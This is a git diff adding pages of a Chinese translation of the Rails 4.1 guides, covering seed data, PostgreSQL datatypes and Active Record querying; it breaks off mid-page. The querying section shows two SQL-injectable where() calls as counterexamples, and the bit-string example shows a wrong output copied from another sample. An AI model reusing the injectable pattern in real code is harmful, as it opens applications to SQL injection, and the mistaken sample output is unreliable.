validates :foreign_key, uniqueness: true 这个验证是模型保证数据完整性的一种方法。在关联中设置 :dependent 选项,可以保证父对象删除后,子对象也会被删除。和任何一种程序层的操作一样,这些无法完全保证引用完整性,所以很多人还是会在数据库中使用外键约束。

Active Record 并没有为使用这些功能提供任何工具,不过 execute 方法可以执行任意的 SQL 语句。还可以使用 foreigner 等 gem,为 Active Record 添加外键支持(还能把外键导出到 db/schema.rb 文件)。

8 迁移和种子数据

有些人使用迁移把数据存入数据库:

+
+class AddInitialProducts < ActiveRecord::Migration
+  def up
+    5.times do |i|
+      Product.create(name: "Product ##{i}", description: "A product.")
+    end
+  end
+
+  def down
+    Product.delete_all
+  end
+end
+
+
+
+

Rails 提供了“种子”功能,可以把初始化数据存入数据库。这个功能用起来很简单,在 db/seeds.rb 文件中写一些 Ruby 代码,然后执行 rake db:seed 命令即可:

+
+5.times do |i|
+  Product.create(name: "Product ##{i}", description: "A product.")
+end
+
+
+
+

填充新建程序的数据库,使用这种方法操作起来简洁得多。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/active_record_postgresql.html b/v4.1/active_record_postgresql.html new file mode 100644 index 0000000..307fc08 --- /dev/null +++ b/v4.1/active_record_postgresql.html @@ -0,0 +1,685 @@ + + + + + + + +Active Record and PostgreSQL — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Active Record and PostgreSQL

This guide covers PostgreSQL specific usage of Active Record.

After reading this guide, you will know:

+
    +
  • How to use PostgreSQL's datatypes.
  • +
  • How to use UUID primary keys.
  • +
  • How to implement full text search with PostgreSQL.
  • +
  • How to back your Active Record models with database views.
  • +
+ + + + +
+
+ +
+
+
+

In order to use the PostgreSQL adapter you need to have at least version 8.2 +installed. Older versions are not supported.

To get started with PostgreSQL have a look at the +configuring Rails guide. +It describes how to properly setup Active Record for PostgreSQL.

1 Datatypes

PostgreSQL offers a number of specific datatypes. Following is a list of types, +that are supported by the PostgreSQL adapter.

1.1 Bytea

+ +
+
+# db/migrate/20140207133952_create_documents.rb
+create_table :documents do |t|
+  t.binary 'payload'
+end
+
+# app/models/document.rb
+class Document < ActiveRecord::Base
+end
+
+# Usage
+data = File.read(Rails.root + "tmp/output.pdf")
+Document.create payload: data
+
+
+
+

1.2 Array

+ +
+
+# db/migrate/20140207133952_create_books.rb
+create_table :books do |t|
+  t.string 'title'
+  t.string 'tags', array: true
+  t.integer 'ratings', array: true
+end
+add_index :books, :tags, using: 'gin'
+add_index :books, :ratings, using: 'gin'
+
+# app/models/book.rb
+class Book < ActiveRecord::Base
+end
+
+# Usage
+Book.create title: "Brave New World",
+            tags: ["fantasy", "fiction"],
+            ratings: [4, 5]
+
+## Books for a single tag
+Book.where("'fantasy' = ANY (tags)")
+
+## Books for multiple tags
+Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"])
+
+## Books with 3 or more ratings
+Book.where("array_length(ratings, 1) >= 3")
+
+
+
+

1.3 Hstore

+ +
+
+# db/migrate/20131009135255_create_profiles.rb
+ActiveRecord::Schema.define do
+  create_table :profiles do |t|
+    t.hstore 'settings'
+  end
+end
+
+# app/models/profile.rb
+class Profile < ActiveRecord::Base
+end
+
+# Usage
+Profile.create(settings: { "color" => "blue", "resolution" => "800x600" })
+
+profile = Profile.first
+profile.settings # => {"color"=>"blue", "resolution"=>"800x600"}
+
+profile.settings = {"color" => "yellow", "resolution" => "1280x1024"}
+profile.save!
+
+## you need to call _will_change! if you are editing the store in place
+profile.settings["color"] = "green"
+profile.settings_will_change!
+profile.save!
+
+
+
+

1.4 JSON

+ +
+
+# db/migrate/20131220144913_create_events.rb
+create_table :events do |t|
+  t.json 'payload'
+end
+
+# app/models/event.rb
+class Event < ActiveRecord::Base
+end
+
+# Usage
+Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]})
+
+event = Event.first
+event.payload # => {"kind"=>"user_renamed", "change"=>["jack", "john"]}
+
+## Query based on JSON document
+Event.where("payload->'kind' = ?", "user_renamed")
+
+
+
+

1.5 Range Types

+ +

This type is mapped to Ruby Range objects.

+
+# db/migrate/20130923065404_create_events.rb
+create_table :events do |t|
+  t.daterange 'duration'
+end
+
+# app/models/event.rb
+class Event < ActiveRecord::Base
+end
+
+# Usage
+Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12))
+
+event = Event.first
+event.duration # => Tue, 11 Feb 2014...Thu, 13 Feb 2014
+
+## All Events on a given date
+Event.where("duration @> ?::date", Date.new(2014, 2, 12))
+
+## Working with range bounds
+event = Event.
+  select("lower(duration) AS starts_at").
+  select("upper(duration) AS ends_at").first
+
+event.starts_at # => Tue, 11 Feb 2014
+event.ends_at # => Thu, 13 Feb 2014
+
+
+
+

1.6 Composite Types

+ +

Currently there is no special support for composite types. They are mapped to +normal text columns:

+
+CREATE TYPE full_address AS
+(
+  city VARCHAR(90),
+  street VARCHAR(90)
+);
+
+
+
+
+
+# db/migrate/20140207133952_create_contacts.rb
+execute <<-SQL
+ CREATE TYPE full_address AS
+ (
+   city VARCHAR(90),
+   street VARCHAR(90)
+ );
+SQL
+create_table :contacts do |t|
+  t.column :address, :full_address
+end
+
+# app/models/contact.rb
+class Contact < ActiveRecord::Base
+end
+
+# Usage
+Contact.create address: "(Paris,Champs-Élysées)"
+contact = Contact.first
+contact.address # => "(Paris,Champs-Élysées)"
+contact.address = "(Paris,Rue Basse)"
+contact.save!
+
+
+
+

1.7 Enumerated Types

+ +

Currently there is no special support for enumerated types. They are mapped as +normal text columns:

+
+# db/migrate/20131220144913_create_events.rb
+execute <<-SQL
+  CREATE TYPE article_status AS ENUM ('draft', 'published');
+SQL
+create_table :articles do |t|
+  t.column :status, :article_status
+end
+
+# app/models/article.rb
+class Article < ActiveRecord::Base
+end
+
+# Usage
+Article.create status: "draft"
+article = Article.first
+article.status # => "draft"
+
+article.status = "published"
+article.save!
+
+
+
+

1.8 UUID

+ +
+
+# db/migrate/20131220144913_create_revisions.rb
+create_table :revisions do |t|
+  t.column :identifier, :uuid
+end
+
+# app/models/revision.rb
+class Revision < ActiveRecord::Base
+end
+
+# Usage
+Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"
+
+revision = Revision.first
+revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11"
+
+
+
+

1.9 Bit String Types

+ +
+
+# db/migrate/20131220144913_create_users.rb
+create_table :users, force: true do |t|
+  t.column :settings, "bit(8)"
+end
+
+# app/models/device.rb
+class User < ActiveRecord::Base
+end
+
+# Usage
+User.create settings: "01010011"
+user = User.first
+user.settings # => "(Paris,Champs-Élysées)"
+user.settings = "0xAF"
+user.settings # => 10101111
+user.save!
+
+
+
+

1.10 Network Address Types

+ +

The types inet and cidr are mapped to Ruby +IPAddr +objects. The macaddr type is mapped to normal text.

+
+# db/migrate/20140508144913_create_devices.rb
+create_table(:devices, force: true) do |t|
+  t.inet 'ip'
+  t.cidr 'network'
+  t.macaddr 'address'
+end
+
+# app/models/device.rb
+class Device < ActiveRecord::Base
+end
+
+# Usage
+macbook = Device.create(ip: "192.168.1.12",
+                        network: "192.168.2.0/24",
+                        address: "32:01:16:6d:05:ef")
+
+macbook.ip
+# => #<IPAddr: IPv4:192.168.1.12/255.255.255.255>
+
+macbook.network
+# => #<IPAddr: IPv4:192.168.2.0/255.255.255.0>
+
+macbook.address
+# => "32:01:16:6d:05:ef"
+
+
+
+

1.11 Geometric Types

+ +

All geometric types, with the exception of points are mapped to normal text. +A point is casted to an array containing x and y coordinates.

2 UUID Primary Keys

you need to enable the uuid-ossp extension to generate UUIDs.

+
+# db/migrate/20131220144913_create_devices.rb
+enable_extension 'uuid-ossp' unless extension_enabled?('uuid-ossp')
+create_table :devices, id: :uuid, default: 'uuid_generate_v4()' do |t|
+  t.string :kind
+end
+
+# app/models/device.rb
+class Device < ActiveRecord::Base
+end
+
+# Usage
+device = Device.create
+device.id # => "814865cd-5a1d-4771-9306-4268f188fe9e"
+
+
+
+
+
+# db/migrate/20131220144913_create_documents.rb
+create_table :documents do |t|
+  t.string 'title'
+  t.string 'body'
+end
+
+execute "CREATE INDEX documents_idx ON documents USING gin(to_tsvector('english', title || ' ' || body));"
+
+# app/models/document.rb
+class Document < ActiveRecord::Base
+end
+
+# Usage
+Document.create(title: "Cats and Dogs", body: "are nice!")
+
+## all documents matching 'cat & dog'
+Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)",
+                 "cat & dog")
+
+
+
+

4 Database Views

+ +

Imagine you need to work with a legacy database containing the following table:

+
+rails_pg_guide=# \d "TBL_ART"
+                                        Table "public.TBL_ART"
+   Column   |            Type             |                         Modifiers
+------------+-----------------------------+------------------------------------------------------------
+ INT_ID     | integer                     | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass)
+ STR_TITLE  | character varying           |
+ STR_STAT   | character varying           | default 'draft'::character varying
+ DT_PUBL_AT | timestamp without time zone |
+ BL_ARCH    | boolean                     | default false
+Indexes:
+    "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID")
+
+
+
+

This table does not follow the Rails conventions at all. +Because simple PostgreSQL views are updateable by default, +we can wrap it as follows:

+
+# db/migrate/20131220144913_create_articles_view.rb
+execute <<-SQL
+CREATE VIEW articles AS
+  SELECT "INT_ID" AS id,
+         "STR_TITLE" AS title,
+         "STR_STAT" AS status,
+         "DT_PUBL_AT" AS published_at,
+         "BL_ARCH" AS archived
+  FROM "TBL_ART"
+  WHERE "BL_ARCH" = 'f'
+  SQL
+
+# app/models/article.rb
+class Article < ActiveRecord::Base
+  self.primary_key = "id"
+  def archive!
+    update_attribute :archived, true
+  end
+end
+
+# Usage
+first = Article.create! title: "Winter is coming",
+                        status: "published",
+                        published_at: 1.year.ago
+second = Article.create! title: "Brace yourself",
+                         status: "draft",
+                         published_at: 1.month.ago
+
+Article.count # => 1
+first.archive!
+Article.count # => 2
+
+
+
+

This application only cares about non-archived Articles. A view also +allows for conditions so we can exclude the archived Articles directly.

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/active_record_querying.html b/v4.1/active_record_querying.html new file mode 100644 index 0000000..4a1f158 --- /dev/null +++ b/v4.1/active_record_querying.html @@ -0,0 +1,1739 @@ + + + + + + + +Active Record 查询 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Active Record 查询

本文介绍使用 Active Record 从数据库中获取数据的不同方法。

读完本文,你将学到:

+
    +
  • 如何使用各种方法查找满足条件的记录;
  • +
  • 如何指定查找记录的排序方式,获取哪些属性,分组等;
  • +
  • 获取数据时如何使用按需加载介绍数据库查询数;
  • +
  • 如何使用动态查询方法;
  • +
  • 如何检查某个记录是否存在;
  • +
  • 如何在 Active Record 模型中做各种计算;
  • +
  • 如何执行 EXPLAIN 命令;
  • +
+ + + + +
+
+ +
+
+
+

如果习惯使用 SQL 查询数据库,会发现在 Rails 中执行相同的查询有更好的方式。大多数情况下,在 Active Record 中无需直接使用 SQL。

文中的实例代码会用到下面一个或多个模型:

下面所有的模型除非有特别说明之外,都使用 id 做主键。

+
+class Client < ActiveRecord::Base
+  has_one :address
+  has_many :orders
+  has_and_belongs_to_many :roles
+end
+
+
+
+
+
+class Address < ActiveRecord::Base
+  belongs_to :client
+end
+
+
+
+
+
+class Order < ActiveRecord::Base
+  belongs_to :client, counter_cache: true
+end
+
+
+
+
+
+class Role < ActiveRecord::Base
+  has_and_belongs_to_many :clients
+end
+
+
+
+

Active Record 会代你执行数据库查询,可以兼容大多数数据库(MySQL,PostgreSQL 和 SQLite 等)。不管使用哪种数据库,所用的 Active Record 方法都是一样的。

1 从数据库中获取对象

Active Record 提供了很多查询方法,用来从数据库中获取对象。每个查询方法都接可接受参数,不用直接写 SQL 就能在数据库中执行指定的查询。

这些方法是:

+
    +
  • find
  • +
  • create_with
  • +
  • distinct
  • +
  • eager_load
  • +
  • extending
  • +
  • from
  • +
  • group
  • +
  • having
  • +
  • includes
  • +
  • joins
  • +
  • limit
  • +
  • lock
  • +
  • none
  • +
  • offset
  • +
  • order
  • +
  • preload
  • +
  • readonly
  • +
  • references
  • +
  • reorder
  • +
  • reverse_order
  • +
  • select
  • +
  • uniq
  • +
  • where
  • +
+

上述所有方法都返回一个 ActiveRecord::Relation 实例。

Model.find(options) 方法执行的主要操作概括如下:

+
    +
  • 把指定的选项转换成等价的 SQL 查询语句;
  • +
  • 执行 SQL 查询,从数据库中获取结果;
  • +
  • 为每个查询结果实例化一个对应的模型对象;
  • +
  • 如果有 after_find 回调,再执行 after_find 回调;
  • +
+

1.1 获取单个对象

在 Active Record 中获取单个对象有好几种方法。

1.1.1 使用主键

使用 Model.find(primary_key) 方法可以获取指定主键对应的对象。例如:

+
+# Find the client with primary key (id) 10.
+client = Client.find(10)
+# => #<Client id: 10, first_name: "Ryan">
+
+
+
+

和上述方法等价的 SQL 查询是:

+
+SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
+
+
+
+

如果未找到匹配的记录,Model.find(primary_key) 会抛出 ActiveRecord::RecordNotFound 异常。

1.1.2 take +

Model.take 方法会获取一个记录,不考虑任何顺序。例如:

+
+client = Client.take
+# => #<Client id: 1, first_name: "Lifo">
+
+
+
+

和上述方法等价的 SQL 查询是:

+
+SELECT * FROM clients LIMIT 1
+
+
+
+

如果没找到记录,Model.take 不会抛出异常,而是返回 nil

获取的记录根据所用的数据库引擎会有所不同。

1.1.3 first +

Model.first 获取按主键排序得到的第一个记录。例如:

+
+client = Client.first
+# => #<Client id: 1, first_name: "Lifo">
+
+
+
+

和上述方法等价的 SQL 查询是:

+
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+
+
+
+

Model.first 如果没找到匹配的记录,不会抛出异常,而是返回 nil

1.1.4 last +

Model.last 获取按主键排序得到的最后一个记录。例如:

+
+client = Client.last
+# => #<Client id: 221, first_name: "Russel">
+
+
+
+

和上述方法等价的 SQL 查询是:

+
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+
+
+
+

Model.last 如果没找到匹配的记录,不会抛出异常,而是返回 nil

1.1.5 find_by +

Model.find_by 获取满足条件的第一个记录。例如:

+
+Client.find_by first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by first_name: 'Jon'
+# => nil
+
+
+
+

等价于:

+
+Client.where(first_name: 'Lifo').take
+
+
+
+
1.1.6 take! +

Model.take! 方法会获取一个记录,不考虑任何顺序。例如:

+
+client = Client.take!
+# => #<Client id: 1, first_name: "Lifo">
+
+
+
+

和上述方法等价的 SQL 查询是:

+
+SELECT * FROM clients LIMIT 1
+
+
+
+

如果未找到匹配的记录,Model.take! 会抛出 ActiveRecord::RecordNotFound 异常。

1.1.7 first! +

Model.first! 获取按主键排序得到的第一个记录。例如:

+
+client = Client.first!
+# => #<Client id: 1, first_name: "Lifo">
+
+
+
+

和上述方法等价的 SQL 查询是:

+
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+
+
+
+

如果未找到匹配的记录,Model.first! 会抛出 ActiveRecord::RecordNotFound 异常。

1.1.8 last! +

Model.last! 获取按主键排序得到的最后一个记录。例如:

+
+client = Client.last!
+# => #<Client id: 221, first_name: "Russel">
+
+
+
+

和上述方法等价的 SQL 查询是:

+
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+
+
+
+

如果未找到匹配的记录,Model.last! 会抛出 ActiveRecord::RecordNotFound 异常。

1.1.9 find_by! +

Model.find_by! 获取满足条件的第一个记录。如果没找到匹配的记录,会抛出 ActiveRecord::RecordNotFound 异常。例如:

+
+Client.find_by! first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by! first_name: 'Jon'
+# => ActiveRecord::RecordNotFound
+
+
+
+

等价于:

+
+Client.where(first_name: 'Lifo').take!
+
+
+
+

1.2 获取多个对象

1.2.1 使用多个主键

Model.find(array_of_primary_key) 方法可接受一个由主键组成的数组,返回一个由主键对应记录组成的数组。例如:

+
+# Find the clients with primary keys 1 and 10.
+client = Client.find([1, 10]) # Or even Client.find(1, 10)
+# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
+
+
+
+

上述方法等价的 SQL 查询是:

+
+SELECT * FROM clients WHERE (clients.id IN (1,10))
+
+
+
+

只要有一个主键的对应的记录未找到,Model.find(array_of_primary_key) 方法就会抛出 ActiveRecord::RecordNotFound 异常。

1.2.2 take

Model.take(limit) 方法获取 limit 个记录,不考虑任何顺序:

+
+Client.take(2)
+# => [#<Client id: 1, first_name: "Lifo">,
+      #<Client id: 2, first_name: "Raf">]
+
+
+
+

和上述方法等价的 SQL 查询是:

+
+SELECT * FROM clients LIMIT 2
+
+
+
+
1.2.3 first

Model.first(limit) 方法获取按主键排序的前 limit 个记录:

+
+Client.first(2)
+# => [#<Client id: 1, first_name: "Lifo">,
+      #<Client id: 2, first_name: "Raf">]
+
+
+
+

和上述方法等价的 SQL 查询是:

+
+SELECT * FROM clients ORDER BY id ASC LIMIT 2
+
+
+
+
1.2.4 last

Model.last(limit) 方法获取按主键降序排列的前 limit 个记录:

+
+Client.last(2)
+# => [#<Client id: 10, first_name: "Ryan">,
+      #<Client id: 9, first_name: "John">]
+
+
+
+

和上述方法等价的 SQL 查询是:

+
+SELECT * FROM clients ORDER BY id DESC LIMIT 2
+
+
+
+

1.3 批量获取多个对象

我们经常需要遍历由很多记录组成的集合,例如给大量用户发送邮件列表,或者导出数据。

我们可能会直接写出如下的代码:

+
+# This is very inefficient when the users table has thousands of rows.
+User.all.each do |user|
+  NewsLetter.weekly_deliver(user)
+end
+
+
+
+

但这种方法在数据表很大时就有点不现实了,因为 User.all.each 会一次读取整个数据表,一行记录创建一个模型对象,然后把整个模型对象数组存入内存。如果记录数非常多,可能会用完内存。

Rails 为了解决这种问题提供了两个方法,把记录分成几个批次,不占用过多内存。第一个方法是 find_each,获取一批记录,然后分别把每个记录传入代码块。第二个方法是 find_in_batches,获取一批记录,然后把整批记录作为数组传入代码块。

find_eachfind_in_batches 方法的目的是分批处理无法一次载入内存的巨量记录。如果只想遍历几千个记录,更推荐使用常规的查询方法。

1.3.1 find_each +

find_each 方法获取一批记录,然后分别把每个记录传入代码块。在下面的例子中,find_each 获取 1000 个记录,然后把每个记录传入代码块,直到所有记录都处理完为止:

+
+User.find_each do |user|
+  NewsLetter.weekly_deliver(user)
+end
+
+
+
+
1.3.1.1 find_each 方法的选项

find_each 方法中可使用 find 方法的大多数选项,但不能使用 :order:limit,因为这两个选项是保留给 find_each 内部使用的。

find_each 方法还可使用另外两个选项::batch_size:start

:batch_size

:batch_size 选项指定在把各记录传入代码块之前,各批次获取的记录数量。例如,一个批次获取 5000 个记录:

+
+User.find_each(batch_size: 5000) do |user|
+  NewsLetter.weekly_deliver(user)
+end
+
+
+
+

:start

默认情况下,按主键的升序方式获取记录,其中主键的类型必须是整数。如果不想用最小的 ID,可以使用 :start 选项指定批次的起始 ID。例如,前面的批量处理中断了,但保存了中断时的 ID,就可以使用这个选项继续处理。

例如,在有 5000 个记录的批次中,只向主键大于 2000 的用户发送邮件列表,可以这么做:

+
+User.find_each(start: 2000, batch_size: 5000) do |user|
+  NewsLetter.weekly_deliver(user)
+end
+
+
+
+

还有一个例子是,使用多个 worker 处理同一个进程队列。如果需要每个 worker 处理 10000 个记录,就可以在每个 worker 中设置相应的 :start 选项。

1.3.2 find_in_batches +

find_in_batches 方法和 find_each 类似,都获取一批记录。二者的不同点是,find_in_batches 把整批记录作为一个数组传入代码块,而不是单独传入各记录。在下面的例子中,会把 1000 个单据一次性传入代码块,让代码块后面的程序处理剩下的单据:

+
+# Give add_invoices an array of 1000 invoices at a time
+Invoice.find_in_batches(include: :invoice_lines) do |invoices|
+  export.add_invoices(invoices)
+end
+
+
+
+

:include 选项可以让指定的关联和模型一同加载。

1.3.2.1 find_in_batches 方法的选项

find_in_batches 方法和 find_each 方法一样,可以使用 :batch_size:start 选项,还可使用常规的 find 方法中的大多数选项,但不能使用 :order:limit 选项,因为这两个选项保留给 find_in_batches 方法内部使用。

2 条件查询

where 方法用来指定限制获取记录的条件,用于 SQL 语句的 WHERE 子句。条件可使用字符串、数组或 Hash 指定。

2.1 纯字符串条件

如果查询时要使用条件,可以直接指定。例如 Client.where("orders_count = '2'"),获取 orders_count 字段为 2 的客户记录。

使用纯字符串指定条件可能导致 SQL 注入漏洞。例如,Client.where("first_name LIKE '%#{params[:first_name]}%'"),这里的条件就不安全。推荐使用的条件指定方式是数组,请阅读下一节。

2.2 数组条件

如果数字是在别处动态生成的话应该怎么处理呢?可用下面的查询:

+
+Client.where("orders_count = ?", params[:orders])
+
+
+
+

Active Record 会先处理第一个元素中的条件,然后使用后续元素替换第一个元素中的问号(?)。

指定多个条件的方式如下:

+
+Client.where("orders_count = ? AND locked = ?", params[:orders], false)
+
+
+
+

在这个例子中,第一个问号会替换成 params[:orders] 的值;第二个问号会替换成 false 在 SQL 中对应的值,具体的值视所用的适配器而定。

下面这种形式

+
+Client.where("orders_count = ?", params[:orders])
+
+
+
+

要比这种形式好

+
+Client.where("orders_count = #{params[:orders]}")
+
+
+
+

因为前者传入的参数更安全。直接在条件字符串中指定的条件会原封不动的传给数据库。也就是说,即使用户不怀好意,条件也会转义。如果这么做,整个数据库就处在一个危险境地,只要用户发现可以接触数据库,就能做任何想做的事。所以,千万别直接在条件字符串中使用参数。

关于 SQL 注入更详细的介绍,请阅读“Ruby on Rails 安全指南

2.2.1 条件中的占位符

除了使用问号占位之外,在数组条件中还可使用键值对 Hash 形式的占位符:

+
+Client.where("created_at >= :start_date AND created_at <= :end_date",
+  {start_date: params[:start_date], end_date: params[:end_date]})
+
+
+
+

如果条件中有很多参数,使用这种形式可读性更高。

2.3 Hash 条件

Active Record 还允许使用 Hash 条件,提高条件语句的可读性。使用 Hash 条件时,传入 Hash 的键是要设定条件的字段,值是要设定的条件。

在 Hash 条件中只能指定相等。范围和子集这三种条件。

2.3.1 相等
+
+Client.where(locked: true)
+
+
+
+

字段的名字还可使用字符串表示:

+
+Client.where('locked' => true)
+
+
+
+

belongs_to 关联中,如果条件中的值是模型对象,可用关联键表示。这种条件指定方式也可用于多态关联。

+
+Post.where(author: author)
+Author.joins(:posts).where(posts: { author: author })
+
+
+
+

条件的值不能为 Symbol。例如,不能这么指定条件:Client.where(status: :active)

2.3.2 范围
+
+Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)
+
+
+
+

指定这个条件后,会使用 SQL BETWEEN 子句查询昨天创建的客户:

+
+SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+
+
+
+

这段代码演示了数组条件的简写形式。

2.3.3 子集

如果想使用 IN 子句查询记录,可以在 Hash 条件中使用数组:

+
+Client.where(orders_count: [1,3,5])
+
+
+
+

上述代码生成的 SQL 语句如下:

+
+SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+
+
+
+

2.4 NOT 条件

SQL NOT 查询可用 where.not 方法构建。

+
+Post.where.not(author: author)
+
+
+
+

也即是说,这个查询首先调用没有参数的 where 方法,然后再调用 not 方法。

3 排序

要想按照特定的顺序从数据库中获取记录,可以使用 order 方法。

例如,想按照 created_at 的升序方式获取一些记录,可以这么做:

+
+Client.order(:created_at)
+# OR
+Client.order("created_at")
+
+
+
+

还可使用 ASCDESC 指定排序方式:

+
+Client.order(created_at: :desc)
+# OR
+Client.order(created_at: :asc)
+# OR
+Client.order("created_at DESC")
+# OR
+Client.order("created_at ASC")
+
+
+
+

或者使用多个字段排序:

+
+Client.order(orders_count: :asc, created_at: :desc)
+# OR
+Client.order(:orders_count, created_at: :desc)
+# OR
+Client.order("orders_count ASC, created_at DESC")
+# OR
+Client.order("orders_count ASC", "created_at DESC")
+
+
+
+

如果想在不同的上下文中多次调用 order,可以在前一个 order 后再调用一次:

+
+Client.order("orders_count ASC").order("created_at DESC")
+# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC
+
+
+
+

4 查询指定字段

默认情况下,Model.find 使用 SELECT * 查询所有字段。

要查询部分字段,可使用 select 方法。

例如,只查询 viewable_bylocked 字段:

+
+Client.select("viewable_by, locked")
+
+
+
+

上述查询使用的 SQL 语句如下:

+
+SELECT viewable_by, locked FROM clients
+
+
+
+

使用时要注意,因为模型对象只会使用选择的字段初始化。如果字段不能初始化模型对象,会得到以下异常:

+
+ActiveModel::MissingAttributeError: missing attribute: <attribute>
+
+
+
+

其中 <attribute> 是所查询的字段。id 字段不会抛出 ActiveRecord::MissingAttributeError 异常,所以在关联中使用时要注意,因为关联需要 id 字段才能正常使用。

如果查询时希望指定字段的同值记录只出现一次,可以使用 distinct 方法:

+
+Client.select(:name).distinct
+
+
+
+

上述方法生成的 SQL 语句如下:

+
+SELECT DISTINCT name FROM clients
+
+
+
+

查询后还可以删除唯一性限制:

+
+query = Client.select(:name).distinct
+# => Returns unique names
+
+query.distinct(false)
+# => Returns all names, even if there are duplicates
+
+
+
+

5 限量和偏移

要想在 Model.find 方法中使用 SQL LIMIT 子句,可使用 limitoffset 方法。

limit 方法指定获取的记录数量,offset 方法指定在返回结果之前跳过多少个记录。例如:

+
+Client.limit(5)
+
+
+
+

上述查询最大只会返回 5 各客户对象,因为没指定偏移,多以会返回数据表中的前 5 个记录。生成的 SQL 语句如下:

+
+SELECT * FROM clients LIMIT 5
+
+
+
+

再加上 offset 方法:

+
+Client.limit(5).offset(30)
+
+
+
+

这时会从第 31 个记录开始,返回最多 5 个客户对象。生成的 SQL 语句如下:

+
+SELECT * FROM clients LIMIT 5 OFFSET 30
+
+
+
+

6 分组

要想在查询时使用 SQL GROUP BY 子句,可以使用 group 方法。

例如,如果想获取一组订单的创建日期,可以这么做:

+
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
+
+
+
+

上述查询会只会为相同日期下的订单创建一个 Order 对象。

生成的 SQL 语句如下:

+
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+
+
+
+

7 分组筛选

SQL 使用 HAVING 子句指定 GROUP BY 分组的条件。在 Model.find 方法中可使用 :having 选项指定 HAVING 子句。

例如:

+
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").
+  group("date(created_at)").having("sum(price) > ?", 100)
+
+
+
+

生成的 SQL 如下:

+
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+HAVING sum(price) > 100
+
+
+
+

这个查询只会为同一天下的订单创建一个 Order 对象,而且这一天的订单总额要大于 $100。

8 条件覆盖

8.1 unscope +

如果要删除某个条件可使用 unscope 方法。例如:

+
+Post.where('id > 10').limit(20).order('id asc').unscope(:order)
+
+
+
+

生成的 SQL 语句如下:

+
+SELECT * FROM posts WHERE id > 10 LIMIT 20
+
+# Original query without `unscope`
+SELECT * FROM posts WHERE id > 10 ORDER BY id asc LIMIT 20
+
+
+
+

unscope 还可删除 WHERE 子句中的条件。例如:

+
+Post.where(id: 10, trashed: false).unscope(where: :id)
+# SELECT "posts".* FROM "posts" WHERE trashed = 0
+
+
+
+

unscope 还可影响合并后的查询:

+
+Post.order('id asc').merge(Post.unscope(:order))
+# SELECT "posts".* FROM "posts"
+
+
+
+

8.2 only +

查询条件还可使用 only 方法覆盖。例如:

+
+Post.where('id > 10').limit(20).order('id desc').only(:order, :where)
+
+
+
+

执行的 SQL 语句如下:

+
+SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
+
+# Original query without `only`
+SELECT "posts".* FROM "posts" WHERE (id > 10) ORDER BY id desc LIMIT 20
+
+
+
+

8.3 reorder +

reorder 方法覆盖原来的 order 条件。例如:

+
+class Post < ActiveRecord::Base
+  ..
+  ..
+  has_many :comments, -> { order('posted_at DESC') }
+end
+
+Post.find(10).comments.reorder('name')
+
+
+
+

执行的 SQL 语句如下:

+
+SELECT * FROM posts WHERE id = 10 ORDER BY name
+
+
+
+

没用 reorder 方法时执行的 SQL 语句如下:

+
+SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC
+
+
+
+

8.4 reverse_order +

reverse_order 方法翻转 ORDER 子句的条件。

+
+Client.where("orders_count > 10").order(:name).reverse_order
+
+
+
+

执行的 SQL 语句如下:

+
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
+
+
+
+

如果查询中没有使用 ORDER 子句,reverse_order 方法会按照主键的逆序查询:

+
+Client.where("orders_count > 10").reverse_order
+
+
+
+

执行的 SQL 语句如下:

+
